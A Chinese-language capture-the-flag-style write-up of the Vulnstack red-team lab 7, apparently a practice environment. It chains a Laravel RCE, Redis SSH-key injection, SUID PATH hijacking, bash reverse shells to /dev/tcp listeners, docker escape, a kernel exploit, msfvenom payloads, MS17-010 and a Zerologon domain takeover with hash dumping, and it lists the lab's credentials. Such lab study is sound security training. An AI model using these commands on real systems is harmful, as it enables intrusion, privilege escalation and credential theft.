这个靶场是红日的ATT&CK实战系列-红队评估(七)
链接如下:http://vulnstack.qiyuanxuetang.net/vuln/detail/9/
这个靶场兜兜转转弄了挺多次,大佬轻喷~~
攻击图如下:
由于环境问题,我将DMZ区的ubuntu设置为NAT模式
Web1 IP为192.168.213.188
Kali IP:192.168.213.170
环境信息
DMZ区的 Ubuntu 需要启动redis和nginx服务:
sudo redis-server /etc/redis.conf
sudo /usr/sbin/nginx -c /etc/nginx/nginx.conf
sudo iptables -F
第二层网络的 Ubuntu需要启动docker容器:
sudo service docker start
sudo docker start 8e172820ac78
第三层网络的 Windows 7 (PC 1)需要启动通达OA:
C:\MYOA\bin\AutoConfig.exe
域用户信息
域用户账户和密码如下:
Administrator:Whoami2021
whoami:Whoami2021
bunny:Bunny2021
moretz:Moretz2021
Ubuntu 1:
web:web2021
Ubuntu 2:
ubuntu:ubuntu
通达OA账户:
admin:admin657260
首先拿到一个IP地址:192.168.213.188
第一步当然是先进行端口扫描啦!
开放22,80,81,6379端口
访问80端口发现是一个博客网站,暂时没啥思路
访问81端口发现是Laravel框架且版本是Laravel v8.29.0 (PHP v7.4.14)
恰好这个框架爆了一个远程代码执行漏洞,我这里直接使用工具进行Getshell
连接成功
工具链接:https://github.com/SecPros-Team/laravel-CVE-2021-3129-EXP
简单进行了信息收集,发现是一个docker环境,ip是172段
hostname
cat /etc/hosts
cat /proc/1/cgroup
尝试反弹shell到Kali上再进行提权
Kali进行监听,但是最后没有反应
尝试了MSF的tcp、http均不行,故判断为不出网
既然反弹不了shell,只能从其他地方进行入手了
之前进行端口扫描时发现该机器开着6379,尝试Redis弱口令或未授权访问
尝试进行连接Redis,连接成功,存在未授权访问
尝试写入SSH公钥
ssh-keygen -t rsa #生成公钥
(echo -e "\n\n"; cat /root/.ssh/id_rsa.pub; echo -e "\n\n") > foo.txt #将公钥导入foo.txt文件
cat foo.txt | redis-cli -h 192.168.213.170 -p 6379 -x set hello #把foo.txt文件内容写入目标主机的redis缓冲中
config set dir /root/.ssh # 设置redis的备份路径为/root/.ssh/
config set dbfilename authorized_keys # 设置保存文件名为authorized_keys
save # 将数据保存在目标服务器硬盘上
ssh 192.168.213.188 # 连接
成功进行连接,简单进行了信息收集,发现存在52段
因为之前的shell反弹不了,所以看一下nginx的配置文件是不是做了反向代理
81端口的反弹不到kali,只能麻烦一点使用ubuntu做为跳板机进行操作
首先进行反弹shell到ubuntu:192.168.52.10
当前权限为www,So,先进行提权
不知道是不是因为docker环境的原因,尝试内核提权失败
既然如此,就尝试搜索寻找带有SUID的文件
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -print 2>/dev/null
发现home目录下的那个shell有点可疑,先执行看看会发生什么~
通过执行发现该脚本执行了PS命令且并未使用绝对路径,源码在demo.c中可以清楚看到
那么我们尝试更改$PATH来执行我们的恶意程序,从而获得目标主机的高权限shell
cd /tmp
echo "/bin/bash" > ps
chmod 777 ps
echo $PATH
export PATH=/tmp:$PATH # 将/tmp添加到环境变量中,并且先加载执行/tmp里的程序
cd /home/jobs
./shell
成功获得root权限,把shell再反弹到ubuntu(web 1)中
bash -c 'exec bash -i &>/dev/tcp/192.168.52.10/1239 <&1'
前面说到这是个docker环境,实际IP为192.168.52.20,所以我们要进行docker逃逸
刚开始尝试的是CVE-2019-5736 runc容器逃逸漏洞,在运行./main并在Web 2进入docker环境,但ubuntu监听处没有任何反应,只好作罢,尝试另外一种逃逸方法
使用特权模式启动容器,可以获取大量设备文件访问权限。因为当管理员执行docker run —privileged时,Docker容器将被允许访问主机上的所有设备,并可以执行mount命令进行挂载
fdisk -l #查看磁盘文件
ls /dev #查看设备文件
有三个磁盘文件和N个设备文件,我们将/dev/sda1挂载到自己创建的文件夹
mkdir hello
mount /dev/sda1 /hello
ls /hello
挂载成功,写入计划任务
echo '* * * * * bash -i >& /dev/tcp/192.168.52.10/1233 0>&1' >> /hello/var/spool/cron/root
等了好一会,但还是没有反应0.0
换另一个思路,翻一下看看可不可以访问root目录或查看home有没有用户
可以看到有ubuntu这个用户
接下来就可以将我们自己生成的ssh秘钥写入到/hello/home/ubuntu/.ssh目录中的authorized_keys文件中,写入成功之后就可以使用该密钥进行登陆该机器
ssh-keygen -f hello
chmod 600 hello #赋予权限
cp -avx /hello/home/ubuntu/.ssh/id_rsa.pub /hello/home/ubuntu/.ssh/authorized_keys #-avx是将权限也一起复制
echo > /hello/home/ubuntu/.ssh/authorized_keys #清空authorized_keys文件
echo '生成的.pub文件的内容' > /hello/home/ubuntu/.ssh/authorized_keys #将ssh秘钥写入authorized_keys文件
cat /hello/home/ubuntu/.ssh/authorized_keys #查看是否写入成功
ssh -i hello [email protected]
成功登录,查看了一下网络,发现还存在93网段
linux kernel一般指Linux内核。Linux是一种开源电脑操作系统内核。它是一个用C语言写成,符合POSIX标准的类Unix操作系统。
linux内核中的overlayfs文件系统中没有正确地验证用户名称空间和底层文件系统中文件功能的设置。由于非特权用户名称空间和Ubuntu内核中允许非特权覆盖的补丁的组合,攻击者可以使用它来获得更高的特权。
漏洞影响版本
Ubuntu 20.10
Ubuntu 20.04 LTS
Ubuntu 18.04 LTS
Ubuntu 16.04 LTS
Ubuntu 14.04 ESM
因为登录的是ubuntu用户,刚好今年ubuntu机器出了一个内核提权漏洞,该机器在影响范围内
So,先进行提权
进入到tmp目录
vim exploit.c #将下载的exploit.c的内容粘贴到该文件中
gcc exploit.c -o exploit #编译
chmod +x exploit
./exploit
Exp:https://github.com/briskets/CVE-2021-3493
成功提权,那么接下来该将这两台机器上线MSF继续进攻内网了
先进行上线通过Redis拿到的机器
添加路由
run get_local_subnets
run autoroute -s 192.168.52.0 -n 255.255.255.0
run autoroute -p
因为在Web 1这台机器上通过尝试该机器安装有python3.6.9,那么我们可以将木马上传到Web 1,通过python3开启一个http服务,使用Web 2进行下载并运行我们的木马
首先MSF生成木马,通过MSF上传到Web 1中
msfvenom -p linux/x64/meterpreter/bind_tcp LPORT=2020 -f elf -o 20.elf
sessions 1
upload /root/20.elf /tmp/20.elf
成功上线
先进行扫描52段还有没有其他存活主机
可以看到并没有其他存活主机
因为Web 2存在一个93网段,所以进行扫描一下93段的存活主机
在扫着扫着,session突然就掉了,重新上线一下
发现两台机器且存在域,其中30八九不离十为域控
[+] 192.168.93.30 [DC] OS:Windows Names:(DC, WHOAMIANONY) Addresses:(192.168.93.30) Mac:00:0c:29:72:b5:3e Virtual Machine:VMWare
[+] 192.168.93.40 [PC2] OS:Windows Names:(PC2, WHOAMIANONY, __MSBROWSE__) Addresses:(192.168.93.40, 169.254.129.186) Mac:00:0c:29:28:d5:fe Virtual Machine:VMWare
使用SMB_VERSION模块结果也是一样
进内网必然进行测试的漏洞
可以看到两台机器均存在ms17010
进行攻击DC上线的时候会话创建失败,但是可以使用命令执行模块进行执行命令
使用MS17010命令执行模块进行信息收集
到此可以确定192.168.93.30确实为域控
域控这个先放一放,看看WIn7机器能不能进行上线
使用msf的模块进行攻击,但还是失败,换方程式漏洞利用工具进行打
先用MSF生成dll文件
msfvenom -p windows/x64/meterpreter/bind_tcp LPORT=443 -f dll > x64.dll
MSF开启SOCKS代理
use auxiliary/server/socks_proxy
exploit
设置好代理
将x64.dll放到工具目录替换原来的,MSF设置好监听
Win7成功上线,但是呢域控还是不行
抓了密码并没有发现域管账号,且运行程序没有是使用域管账号运行的,那么说明域管并未登录过该机器
先把密码信息用得上的复制出来
SID: S-1-5-21-1315137663-3706837544-1429009142-1115
hostname: PC2
* Username : moretz
* Domain : WHOAMIANONY
* Password : Moretz2021
emmm,既然域控可以执行命令,那么上传木马到Win7,使用copy命令进行复制到域控,但是并没有成功
先尝试域内提权漏洞吧
攻击者通过NetLogon(MS-NRPC),建立与域控间易受攻击的安全通道时,可利用此漏洞获取域管访问权限。成功利用此漏洞的攻击者可以在该网络中的设备上运行经特殊设计的应用程序
vim /etc/proxychains.conf #设置代理
proxychains python3 zerologon_tester.py DC 192.168.93.30
显示success表示漏洞存在
脚本地址:https://github.com/SecuraBV/CVE-2020-1472
将域控密码置空
proxychains python3 cve-2020-1472-exploit.py DC 192.168.93.30
使用impacket中的工具将域控的密码dump下来
proxychains python3 secretsdump.py WHOAMIANONY.ORG/DC\[email protected] -just-dc -no-pass
得到hash之后,使用MSF PSEXEC模块上线
use exploit/windows/smb/psexec
set SMBUser administrator
set SMBPass aad3b435b51404eeaad3b435b51404ee:ab89b1295e69d353dd7614c7a3a80cec
set payload windows/meterpreter/bind_tcp
set rhost 192.168.93.30
run/exploit
但是并没有返回会话,估计是防火墙的原因,使用MS17010命令执行模块进行关闭
netsh advfirewall set allprofiles state off
上线成功
重点:一定恢复域控hash,不然会导致脱域
执行以下命令,获取目标原始hash
使用msf进行生成
reg save HKLM\SYSTEM system.save
reg save HKLM\SAM sam.save
reg save HKLM\SECURITY security.save
下载到Kali中
下载完成之后进行删除
del /f system.save
del /f sam.save
del /f security.save
查看域控hash
python3 secretsdump.py -sam sam.save -system system.save -security security.save LOCAL
使用脚本恢复hash
proxychains python3 reinstall_original_pw.py DC 192.168.93.30 7fd0cca5eafe480f617b04039bbf115c
使用空密码连接进行验证是否恢复
成功恢复
明明已经开启了,不知道为什么PC 1扫描存活的时候就是扫不出来,网卡也是设置一样的,利用DC也访问不到~~~
最终拿下机器如下
权限维持就不做了,写完文章也挺晚了~~~